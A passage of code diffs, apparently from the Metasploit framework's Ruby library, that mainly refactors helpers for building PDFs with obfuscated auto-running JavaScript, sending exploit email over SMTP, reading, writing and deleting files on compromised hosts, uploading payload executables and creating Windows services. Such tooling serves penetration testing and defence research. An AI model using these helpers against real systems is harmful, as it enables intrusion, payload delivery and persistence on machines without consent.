hdr << "%" << RandomNonASCIIString(4) << eol
hdr << "%" << random_non_ascii_string(4) << eol
hdr
end
def add_object(num, data)
@xref[num] = @pdf.length
@pdf << ioDef(num)
@pdf << io_def(num)
@pdf << data
@pdf << endobj
end
@ -186,7 +186,7 @@ module Exploit::PDF
end
def trailer(root_obj)
ret = "trailer" << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj) << ">>" << eol
ret = "trailer" << nobfu("<</Size %d/Root " % (@xref.length + 1)) << io_ref(root_obj) << ">>" << eol
ret
end
@ -209,18 +209,18 @@ module Exploit::PDF
"endobj" << eol
end
def ioDef(id)
def io_def(id)
"%d 0 obj" % id
end
def ioRef(id)
def io_ref(id)
"%d 0 R" % id
end
##
#Controller funtion, should be entrypoint for pdf exploits
##
def CreatePDF(js)
def create_pdf(js)
strFilter = ""
arrResults = []
numIterations = 0
@ -233,10 +233,10 @@ module Exploit::PDF
end
for i in (0..numIterations-1)
if i == 0
arrResults = SelectEncoder(js,arrEncodings[i],strFilter)
arrResults = select_encoder(js,arrEncodings[i],strFilter)
next
end
arrResults = SelectEncoder(arrResults[0],arrEncodings[i],arrResults[1])
arrResults = select_encoder(arrResults[0],arrEncodings[i],arrResults[1])
end
case datastore['PDF::Method']
when 'PAGE'
@ -251,19 +251,19 @@ module Exploit::PDF
##
#Select an encoder and build a filter specification
##
def SelectEncoder(js,strEncode,strFilter)
def select_encoder(js,strEncode,strFilter)
case strEncode
when 'ASCII85'
js = ASCII85Encode(js)
js = ascii85_encode(js)
strFilter = "/ASCII85Decode"<<strFilter
when 'ASCIIHEX'
js = ASCIIHexWhitespaceEncode(js)
js = ascii_hex_whitespace_encode(js)
strFilter = "/ASCIIHexDecode"<<strFilter
when 'FLATE'
js = Zlib::Deflate.deflate(js)
strFilter = "/FlateDecode"<<strFilter
when 'RUN'
js = RunLengthEncode(js)
js = run_length_encode(js)
strFilter = "/RunLengthDecode"<<strFilter
end
return js,strFilter
@ -277,10 +277,10 @@ module Exploit::PDF
@pdf = ''
@pdf << header
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>"))
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
compressed = js
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
stream << "stream" << eol
@ -301,10 +301,10 @@ module Exploit::PDF
@pdf << header
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>"))
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
compressed = js
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
stream << "stream" << eol
@ -324,11 +324,11 @@ module Exploit::PDF
@pdf << header
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /Annots [") << ioRef(5) << nObfu("]>>"))
add_object(5, nObfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << ioRef(6) << nObfu("/S /JavaScript >>>>>>"))
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /Annots [") << io_ref(5) << nobfu("]>>"))
add_object(5, nobfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << io_ref(6) << nobfu("/S /JavaScript >>>>>>"))
compressed = js
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
stream << "stream" << eol

View File

@ -26,6 +26,7 @@ module Exploit::Remote::SMTPDeliver
[
OptAddress.new("RHOST", [ true, "The SMTP server to send through" ]),
OptPort.new("RPORT", [ true, "The SMTP server port (e.g. 25, 465, 587, 2525)", 25 ]),
OptString.new('DATE', [false, 'Override the DATE: field with this value', '']),
OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', 'random@example.com' ]),
OptString.new('MAILTO', [ true, 'The TO address of the email' ]),
OptString.new('SUBJECT', [ true, 'Subject line of the email' ]),
@ -140,6 +141,19 @@ module Exploit::Remote::SMTPDeliver
raw_send_recv("MAIL FROM: <#{datastore['MAILFROM']}>\r\n", nsock)
raw_send_recv("RCPT TO: <#{datastore['MAILTO']}>\r\n", nsock)
# If the user supplied a Date field, use that, else use the current
# DateTime in the proper RFC2822 format.
if datastore['DATE'].present?
raw_send_recv("Date: #{datastore['DATE']}\r\n", nsock)
else
raw_send_recv("Date: #{DateTime.now.rfc2822}\r\n", nsock)
end
# If the user supplied a Subject field, use that
if datastore['SUBJECT'].present?
raw_send_recv("Subject: #{datastore['SUBJECT']}\r\n", nsock)
end
resp = raw_send_recv("DATA\r\n", nsock)
# Avoid sending tons of data and killing the connection if the server

View File

@ -84,7 +84,7 @@ module Exploit::Remote::SunRPC
rpcobj.pport = arr[5]
end
def sunrpc_call(proc, buf, timeout = timeout)
def sunrpc_call(proc, buf, timeout = timeout())
ret = rpcobj.call(proc, buf, timeout)
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret

View File

@ -3,20 +3,26 @@
module Msf::Post::File
#
# Change directory in the remote session to +path+
# Change directory in the remote session to +path+, which may be relative or
# absolute.
#
# @return [void]
def cd(path)
e_path = expand_path(path) rescue path
if session.type == "meterpreter"
e_path = session.fs.file.expand_path(path) rescue path
session.fs.dir.chdir(e_path)
else
session.shell_command_token("cd '#{path}'")
session.shell_command_token("cd \"#{e_path}\"")
end
end
#
# Returns the current working directory in the remote session
#
# @note This may be inaccurate on shell sessions running on Windows before
# XP/2k3
#
# @return [String]
def pwd
if session.type == "meterpreter"
return session.fs.dir.getwd
@ -51,6 +57,7 @@ module Msf::Post::File
#
# See if +path+ exists on the remote system and is a directory
#
# @param path [String] Remote filename to check
def directory?(path)
if session.type == "meterpreter"
stat = session.fs.file.stat(path) rescue nil
@ -60,7 +67,7 @@ module Msf::Post::File
if session.platform =~ /win/
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )")
else
f = session.shell_command_token("test -d '#{path}' && echo true")
f = session.shell_command_token("test -d \"#{path}\" && echo true")
end
return false if f.nil? or f.empty?
@ -72,6 +79,7 @@ module Msf::Post::File
#
# Expand any environment variables to return the full path specified by +path+.
#
# @return [String]
def expand_path(path)
if session.type == "meterpreter"
return session.fs.file.expand_path(path)
@ -83,6 +91,7 @@ module Msf::Post::File
#
# See if +path+ exists on the remote system and is a regular file
#
# @param path [String] Remote filename to check
def file?(path)
if session.type == "meterpreter"
stat = session.fs.file.stat(path) rescue nil
@ -95,7 +104,7 @@ module Msf::Post::File
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )")
end
else
f = session.shell_command_token("test -f '#{path}' && echo true")
f = session.shell_command_token("test -f \"#{path}\" && echo true")
end
return false if f.nil? or f.empty?
@ -109,15 +118,16 @@ module Msf::Post::File
#
# Check for existence of +path+ on the remote file system
#
# @param path [String] Remote filename to check
def exist?(path)
if session.type == "meterpreter"
stat = session.fs.file.stat(path) rescue nil
return !!(stat)
else
if session.platform =~ /win/
f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )")
f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )")
else
f = session.shell_command_token("test -e '#{path}' && echo true")
f = cmd_exec("test -e \"#{path}\" && echo true")
end
return false if f.nil? or f.empty?
@ -126,31 +136,19 @@ module Msf::Post::File
end
end
#
# Remove a remote file
#
def file_rm(file)
if session.type == "meterpreter"
session.fs.file.rm(file)
else
if session.platform =~ /win/
session.shell_command_token("del \"#{file}\"")
else
session.shell_command_token("rm -f '#{file}'")
end
end
end
#
# Writes a given string to a given local file
#
def file_local_write(file2wrt, data2wrt)
if not ::File.exists?(file2wrt)
::FileUtils.touch(file2wrt)
# @param local_file_name [String]
# @param data [String]
# @return [void]
def file_local_write(local_file_name, data)
unless ::File.exists?(local_file_name)
::FileUtils.touch(local_file_name)
end
output = ::File.open(file2wrt, "a")
data2wrt.each_line do |d|
output = ::File.open(local_file_name, "a")
data.each_line do |d|
output.puts(d)
end
output.close
@ -159,22 +157,27 @@ module Msf::Post::File
#
# Returns a MD5 checksum of a given local file
#
def file_local_digestmd5(file2md5)
if not ::File.exists?(file2md5)
raise "File #{file2md5} does not exists!"
else
# @param local_file_name [String] Local file name
# @return [String] Hex digest of file contents
def file_local_digestmd5(local_file_name)
if ::File.exists?(local_file_name)
require 'digest/md5'
chksum = nil
chksum = Digest::MD5.hexdigest(::File.open(file2md5, "rb") { |f| f.read})
chksum = Digest::MD5.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
return chksum
else
raise "File #{local_file_name} does not exists!"
end
end
#
# Returns a MD5 checksum of a given remote file
#
def file_remote_digestmd5(file2md5)
data = read_file(file2md5)
# @note THIS DOWNLOADS THE FILE
# @param file_name [String] Remote file name
# @return [String] Hex digest of file contents
def file_remote_digestmd5(file_name)
data = read_file(file_name)
chksum = nil
if data
chksum = Digest::MD5.hexdigest(data)
@ -185,22 +188,27 @@ module Msf::Post::File
#
# Returns a SHA1 checksum of a given local file
#
def file_local_digestsha1(file2sha1)
if not ::File.exists?(file2sha1)
raise "File #{file2sha1} does not exists!"
else
# @param local_file_name [String] Local file name
# @return [String] Hex digest of file contents
def file_local_digestsha1(local_file_name)
if ::File.exists?(local_file_name)
require 'digest/sha1'
chksum = nil
chksum = Digest::SHA1.hexdigest(::File.open(file2sha1, "rb") { |f| f.read})
chksum = Digest::SHA1.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
return chksum
else
raise "File #{local_file_name} does not exists!"
end
end
#
# Returns a SHA1 checksum of a given remote file
#
def file_remote_digestsha1(file2sha1)
data = read_file(file2sha1)
# @note THIS DOWNLOADS THE FILE
# @param file_name [String] Remote file name
# @return [String] Hex digest of file contents
def file_remote_digestsha1(file_name)
data = read_file(file_name)
chksum = nil
if data
chksum = Digest::SHA1.hexdigest(data)
@ -211,22 +219,27 @@ module Msf::Post::File
#
# Returns a SHA256 checksum of a given local file
#
def file_local_digestsha2(file2sha2)
if not ::File.exists?(file2sha2)
raise "File #{file2sha2} does not exists!"
else
# @param local_file_name [String] Local file name
# @return [String] Hex digest of file contents
def file_local_digestsha2(local_file_name)
if ::File.exists?(local_file_name)
require 'digest/sha2'
chksum = nil
chksum = Digest::SHA256.hexdigest(::File.open(file2sha2, "rb") { |f| f.read})
chksum = Digest::SHA256.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
return chksum
else
raise "File #{local_file_name} does not exists!"
end
end
#
# Returns a SHA2 checksum of a given remote file
#
def file_remote_digestsha2(file2sha2)
data = read_file(file2sha2)
# @note THIS DOWNLOADS THE FILE
# @param file_name [String] Remote file name
# @return [String] Hex digest of file contents
def file_remote_digestsha2(file_name)
data = read_file(file_name)
chksum = nil
if data
chksum = Digest::SHA256.hexdigest(data)
@ -238,6 +251,8 @@ module Msf::Post::File
# Platform-agnostic file read. Returns contents of remote file +file_name+
# as a String.
#
# @param file_name [String] Remote file name to read
# @return [String] Contents of the file
def read_file(file_name)
data = nil
if session.type == "meterpreter"
@ -246,19 +261,20 @@ module Msf::Post::File
if session.platform =~ /win/
data = session.shell_command_token("type \"#{file_name}\"")
else
data = session.shell_command_token("cat \'#{file_name}\'")
data = session.shell_command_token("cat \"#{file_name}\"")
end
end
data
end
#
# Platform-agnostic file write. Writes given object content to a remote file.
# Returns Boolean true if successful
#
# NOTE: *This is not binary-safe on Windows shell sessions!*
#
# @param file_name [String] Remote file name to write
# @param data [String] Contents to put in the file
# @return [void]
def write_file(file_name, data)
if session.type == "meterpreter"
fd = session.fs.file.new(file_name, "wb")
@ -281,6 +297,9 @@ module Msf::Post::File
#
# NOTE: *This is not binary-safe on Windows shell sessions!*
#
# @param file_name [String] Remote file name to write
# @param data [String] Contents to put in the file
# @return [void]
def append_file(file_name, data)
if session.type == "meterpreter"
fd = session.fs.file.new(file_name, "ab")
@ -300,6 +319,9 @@ module Msf::Post::File
# Read a local file +local+ and write it as +remote+ on the remote file
# system
#
# @param remote [String] Destination file name on the remote filesystem
# @param local [String] Local file whose contents will be uploaded
# @return (see #write_file)
def upload_file(remote, local)
write_file(remote, ::File.read(local))
end
@ -307,38 +329,54 @@ module Msf::Post::File
#
# Delete remote files
#
# @param remote_files [Array<String>] List of remote filenames to
# delete
# @return [void]
def rm_f(*remote_files)
remote_files.each do |remote|
if session.type == "meterpreter"
session.fs.file.delete(remote) if exist?(remote)
else
if session.platform =~ /win/
cmd_exec("del /q /f #{remote}")
cmd_exec("del /q /f \"#{remote}\"")
else
cmd_exec("rm -f #{remote}")
cmd_exec("rm -f \"#{remote}\"")
end
end
end
end
alias :file_rm :rm_f
#
# Rename a remote file.
#
# @param old_file [String] Remote file name to move
# @param new_file [String] The new name for the remote file
def rename_file(old_file, new_file)
if session.respond_to? :commands and session.commands.include?("stdapi_fs_file_move")
session.fs.file.mv(old_file, new_file)
if session.respond_to? :commands && session.commands.include?("stdapi_fs_file_move")
return (session.fs.file.mv(old_file, new_file).result == 0)
else
if session.platform =~ /win/
cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|)
if session.platform =~ /win/
if cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|) =~ /moved/
return true
else
cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|)
return false
end
else
if cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|).empty?
return true
else
return false
end
end
end
end
alias :move_file :rename_file
alias :mv_file :rename_file
protected
#
# Meterpreter-specific file read. Returns contents of remote file
# +file_name+ as a String or nil if there was an error
@ -346,11 +384,12 @@ protected
# You should never call this method directly. Instead, call {#read_file}
# which will call this if it is appropriate for the given session.
#
# @return [String]
def _read_file_meterpreter(file_name)
begin
fd = session.fs.file.new(file_name, "rb")
rescue ::Rex::Post::Meterpreter::RequestError => e
print_error("Failed to open file: #{file_name}")
print_error("Failed to open file: #{file_name}: #{e}")
return nil
end
@ -370,10 +409,11 @@ protected
#
# Truncates if +append+ is false, appends otherwise.
#
# You should never call this method directly. Instead, call #write_file or
# #append_file which will call this if it is appropriate for the given
# You should never call this method directly. Instead, call {#write_file}
# or {#append_file} which will call this if it is appropriate for the given
# session.
#
# @return [void]
def _write_file_unix_shell(file_name, data, append=false)
redirect = (append ? ">>" : ">")
@ -482,7 +522,7 @@ protected
# The first command needs to use the provided redirection for either
# appending or truncating.
cmd = command.sub("CONTENTS") { chunks.shift }
session.shell_command_token("#{cmd} #{redirect} '#{file_name}'")
session.shell_command_token("#{cmd} #{redirect} \"#{file_name}\"")
# After creating/truncating or appending with the first command, we
# need to append from here on out.
@ -499,6 +539,7 @@ protected
#
# Calculate the maximum line length for a unix shell.
#
# @return [Fixnum]
def _unix_max_line_length
# Based on autoconf's arg_max calculator, see
# http://www.in-ulm.de/~mascheck/various/argmax/autoconf_check.html

View File

@ -283,7 +283,7 @@ module Accounts
vprint_error("The system cannot find the file specified: #{dir}")
return nil
else
vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
vprint_error("#{f['ErrorMessage']}: #{dir}")
return nil
end
@ -298,6 +298,8 @@ module Accounts
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
if !w["return"] then return nil end
if w["GrantedAccess"] > 0 then result << "W" end
result
end
end # Accounts

View File

@ -90,7 +90,7 @@ module Msf::Post::Windows::Priv
uac = false
winversion = session.sys.config.sysinfo['OS']
if winversion =~ /Windows (Vista|7|8|2008)/
if winversion =~ /Windows (Vista|7|8|2008|2012)/
unless is_system?
begin
enable_lua = registry_getvaldata(

View File

@ -12,7 +12,7 @@ module Msf::Post::Windows::Runas
def shell_execute_exe(filename = nil, path = nil)
exe_payload = generate_payload_exe
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
payload_path = path || expand_path('%TEMP%')
payload_path = path || get_env('TEMP')
cmd_location = "#{payload_path}\\#{payload_filename}"
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
write_file(cmd_location, exe_payload)

View File

@ -23,8 +23,29 @@ end
#
module Services
START_TYPE = ["Boot","System","Auto","Manual","Disabled"]
START_TYPE_BOOT = 0
START_TYPE_SYSTEM = 1
START_TYPE_AUTO = 2
START_TYPE_MANUAL = 3
START_TYPE_DISABLED = 4
SERVICE_STOPPED = 1
SERVICE_START_PENDING = 2
SERVICE_STOP_PENDING = 3
SERVICE_RUNNING = 4
SERVICE_CONTINUE_PENDING = 5
SERVICE_PAUSE_PENDING = 6
SERVICE_PAUSED = 7
include ::Msf::Post::Windows::Error
include ::Msf::Post::Windows::ExtAPI
include ::Msf::Post::Windows::Registry
def advapi32
session.railgun.advapi32
end
#
# Open the service manager with advapi32.dll!OpenSCManagerA on the
# given host or the local machine if :host option is nil. If called
@ -42,12 +63,12 @@ module Services
# OpenSCManagerA()
# @yield [manager] Gives the block a manager handle as returned by
# advapi32.dll!OpenSCManagerA. When the block returns, the handle
# will be closed with {#close_sc_manager}.
# will be closed with {#close_service_handle}.
# @raise [RuntimeError] if OpenSCManagerA returns a NULL handle
#
def open_sc_manager(opts={})
host = opts[:host] || nil
access = opts[:access] || 0xF003F
access = opts[:access] || "SC_MANAGER_ALL_ACCESS"
machine_str = host ? "\\\\#{host}" : nil
# SC_HANDLE WINAPI OpenSCManager(
@ -55,16 +76,16 @@ module Services
# _In_opt_ LPCTSTR lpDatabaseName,
# _In_ DWORD dwDesiredAccess
# );
manag = session.railgun.advapi32.OpenSCManagerA(machine_str,nil,access)
manag = advapi32.OpenSCManagerA(machine_str,nil,access)
if (manag["return"] == 0)
raise RuntimeError.new("Unable to open service manager, GetLastError: #{manag["GetLastError"]}")
raise RuntimeError.new("Unable to open service manager: #{manag["ErrorMessage"]}")
end
if (block_given?)
begin
yield manag["return"]
ensure
close_sc_manager(manag["return"])
close_service_handle(manag["return"])
end
else
return manag["return"]
@ -74,39 +95,115 @@ module Services
#
# Call advapi32.dll!CloseServiceHandle on the given handle
#
def close_sc_manager(handle)
def close_service_handle(handle)
if handle
session.railgun.advapi32.CloseServiceHandle(handle)
advapi32.CloseServiceHandle(handle)
end
end
#
# Open the service with advapi32.dll!OpenServiceA on the
# target manager
#
# @return [Fixnum] Opaque Windows handle SC_HANDLE as returned by
# OpenServiceA()
# @yield [manager] Gives the block a service handle as returned by
# advapi32.dll!OpenServiceA. When the block returns, the handle
# will be closed with {#close_service_handle}.
# @raise [RuntimeError] if OpenServiceA failed
#
def open_service_handle(manager, name, access)
handle = advapi32.OpenServiceA(manager, name, access)
if (handle["return"] == 0)
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}")
end
if (block_given?)
begin
yield handle["return"]
ensure
close_service_handle(handle["return"])
end
else
return handle["return"]
end
end
# Yield each service name on the remote host
#
# @todo Allow operating on a remote host
# @yield [String] Case-sensitive name of a service
def each_service(&block)
if load_extapi
session.extapi.service.enumerate.each(&block)
else
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
keys = registry_enumkeys(serviceskey)
keys.each do |sk|
srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type")
# From http://support.microsoft.com/kb/103000
#
# 0x1 A Kernel device driver.
#
# 0x2 File system driver, which is also
# a Kernel device driver.
#
# 0x4 A set of arguments for an adapter.
#
# 0x10 A Win32 program that can be started
# by the Service Controller and that
# obeys the service control protocol.
# This type of Win32 service runs in
# a process by itself.
#
# 0x20 A Win32 service that can share a process
# with other Win32 services.
if srvtype == 32 || srvtype == 16
yield sk
end
end
keys
end
end
#
# List all Windows Services present
#
# @return [Array] The names of the services.
# @return [Array<Hash>] Array of Hashes containing Service details. May contain the following keys:
# * :name
# * :display
# * :pid
# * :status
# * :interactive
#
# @todo Rewrite to allow operating on a remote host
#
def service_list
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
a =[]
services = []
keys = registry_enumkeys(serviceskey)
keys.each do |s|
if a.length >= 10
a.first.join
a.delete_if {|x| not x.alive?}
end
t = framework.threads.spawn(self.refname+"-ServiceRegistryList",false,s) { |sk|
begin
srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s
if srvtype == "32" or srvtype == "16"
services << sk
end
rescue
if load_extapi
return session.extapi.service.enumerate
else
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
a =[]
services = []
keys = registry_enumkeys(serviceskey)
keys.each do |s|
if a.length >= 10
a.first.join
a.delete_if {|x| not x.alive?}
end
}
a.push(t)
t = framework.threads.spawn(self.refname+"-ServiceRegistryList",false,s) { |sk|
begin
srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s
if srvtype == "32" or srvtype == "16"
services << {:name => sk }
end
rescue
end
}
a.push(t)
end
end
return services
@ -119,6 +216,9 @@ module Services
# command executed by the service. Service name is case sensitive. Hash
# keys are Name, Start, Command and Credentials.
#
# If ExtAPI is available we return the DACL, LOGroup, and Interactive
# values otherwise these values are nil
#
# @param name [String] The target service's name (not to be confused
# with Display Name). Case sensitive.
#
@ -128,18 +228,24 @@ module Services
#
def service_info(name)
service = {}
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
service["Name"] = registry_getvaldata(servicekey,"DisplayName").to_s
srvstart = registry_getvaldata(servicekey,"Start").to_i
if srvstart == 2
service["Startup"] = "Auto"
elsif srvstart == 3
service["Startup"] = "Manual"
elsif srvstart == 4
service["Startup"] = "Disabled"
if load_extapi
begin
return session.extapi.service.query(name)
rescue Rex::Post::Meterpreter::RequestError => e
vprint_error("Request Error #{e} falling back to registry technique")
end
end
service["Command"] = registry_getvaldata(servicekey,"ImagePath").to_s
service["Credentials"] = registry_getvaldata(servicekey,"ObjectName").to_s
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
service[:display] = registry_getvaldata(servicekey,"DisplayName").to_s
service[:starttype] = registry_getvaldata(servicekey,"Start").to_i
service[:path] = registry_getvaldata(servicekey,"ImagePath").to_s
service[:startname] = registry_getvaldata(servicekey,"ObjectName").to_s
service[:dacl] = nil
service[:logroup] = nil
service[:interactive] = nil
return service
end
@ -149,17 +255,68 @@ module Services
# Mode is a string with either auto, manual or disable for the
# corresponding setting. The name of the service is case sensitive.
#
# @todo Rewrite to allow operating on a remote host
#
def service_change_startup(name,mode)
def service_change_startup(name, mode, server=nil)
if mode.is_a? Integer
startup_number = mode
else
case mode.downcase
when "boot" then startup_number = START_TYPE_BOOT
when "system" then startup_number = START_TYPE_SYSTEM
when "auto" then startup_number = START_TYPE_AUTO
when "manual" then startup_number = START_TYPE_MANUAL
when "disable" then startup_number = START_TYPE_DISABLED
else
raise RuntimeError, "Invalid Startup Mode: #{mode}"
end
end
if session.railgun
begin
ret = service_change_config(name, {:starttype => startup_number}, server)
return (ret == Error::SUCCESS)
rescue Rex::Post::Meterpreter::RequestError => e
if server
# Cant do remote registry changes at present
return false
else
vprint_error("Request Error #{e} falling back to registry technique")
end
end
end
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
case mode.downcase
when "auto" then
registry_setvaldata(servicekey,"Start","2","REG_DWORD")
when "manual" then
registry_setvaldata(servicekey,"Start","3","REG_DWORD")
when "disable" then
registry_setvaldata(servicekey,"Start","4","REG_DWORD")
registry_setvaldata(servicekey,"Start",startup_number,"REG_DWORD")
end
#
# Modify a service on the session host
#
# @param name [String] Name of the service to be used as the key
# @param opts [Hash] Settings to be modified
# @param server [String,nil] A hostname or IP address. Default is the
# remote localhost
#
# @return [GetLastError] 0 if the function succeeds
#
def service_change_config(name, opts, server=nil)
open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager|
open_service_handle(manager, name, "SERVICE_CHANGE_CONFIG") do |service_handle|
ret = advapi32.ChangeServiceConfigA(service_handle,
opts[:service_type] || "SERVICE_NO_CHANGE",
opts[:starttype] || "SERVICE_NO_CHANGE",
opts[:error_control] || "SERVICE_NO_CHANGE",
opts[:path] || nil,
opts[:logroup] || nil,
opts[:tag_id] || nil,
opts[:dependencies] || nil,
opts[:startname] || nil,
opts[:password] || nil,
opts[:display] || nil
)
return ret['GetLastError']
end
end
end
@ -167,47 +324,48 @@ module Services
# Create a service that runs +executable_on_host+ on the session host
#
# @param name [String] Name of the service to be used as the key
# @param display_name [String] Name of the service as displayed by mmc
# @param executable_on_host [String] EXE on the remote filesystem to
# be used as the service executable
# @param startup [Fixnum] Constant used by CreateServiceA for startup
# type: 2 for Auto, 3 for Manual, 4 for Disable. Default is Auto
# @param opts [Hash] Settings to be modified
# @param server [String,nil] A hostname or IP address. Default is the
# remote localhost
#
# @return [true,false] True if there were no errors, false otherwise
# @return [GetLastError] 0 if the function succeeds
#
def service_create(name, display_name, executable_on_host, startup=2, server=nil)
adv = session.railgun.advapi32
def service_create(name, opts, server=nil)
access = "SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE | SC_MANAGER_QUERY_LOCK_STATUS"
open_sc_manager(:host=>server, :access=>access) do |manager|
# SC_MANAGER_CONNECT 0x01
# SC_MANAGER_CREATE_SERVICE 0x02
# SC_MANAGER_QUERY_LOCK_STATUS 0x10
open_sc_manager(:host=>server, :access=>0x13) do |manager|
# SC_HANDLE WINAPI CreateService(
# __in SC_HANDLE hSCManager,
# __in LPCTSTR lpServiceName,
# __in_opt LPCTSTR lpDisplayName,
# __in DWORD dwDesiredAccess,
# __in DWORD dwServiceType,
# __in DWORD dwStartType,
# __in DWORD dwErrorControl,
# __in_opt LPCTSTR lpBinaryPathName,
# __in_opt LPCTSTR lpLoadOrderGroup,
# __out_opt LPDWORD lpdwTagId,
# __in_opt LPCTSTR lpDependencies,
# __in_opt LPCTSTR lpServiceStartName,
# __in_opt LPCTSTR lpPassword
#);
newservice = adv.CreateServiceA(manager, name, display_name,
0x0010, 0X00000010, startup, 0, executable_on_host,
nil, nil, nil, nil, nil)
adv.CloseServiceHandle(newservice["return"])
if newservice["GetLastError"] == 0
return true
else
return false
opts[:display] ||= Rex::Text.rand_text_alpha(8)
opts[:desired_access] ||= "SERVICE_START"
opts[:service_type] ||= "SERVICE_WIN32_OWN_PROCESS"
opts[:starttype] ||= START_TYPE_AUTO
opts[:error_control] ||= "SERVICE_ERROR_IGNORE"
opts[:path] ||= nil
opts[:logroup] ||= nil
opts[:tag_id] ||= nil
opts[:dependencies] ||= nil
opts[:startname] ||= nil
opts[:password] ||= nil
newservice = advapi32.CreateServiceA(manager,
name,
opts[:display],
opts[:desired_access],
opts[:service_type],
opts[:starttype],
opts[:error_control],
opts[:path],
opts[:logroup],
opts[:tag_id], # out
opts[:dependencies],
opts[:startname],
opts[:password]
)
if newservice
close_service_handle(newservice["return"])
end
return newservice["GetLastError"]
end
end
@ -224,27 +382,11 @@ module Services
# @raise [RuntimeError] if OpenServiceA failed
#
def service_start(name, server=nil)
adv = session.railgun.advapi32
open_sc_manager(:host=>server, :access=>1) do |manager|
# SC_HANDLE WINAPI OpenService(
# _In_ SC_HANDLE hSCManager,
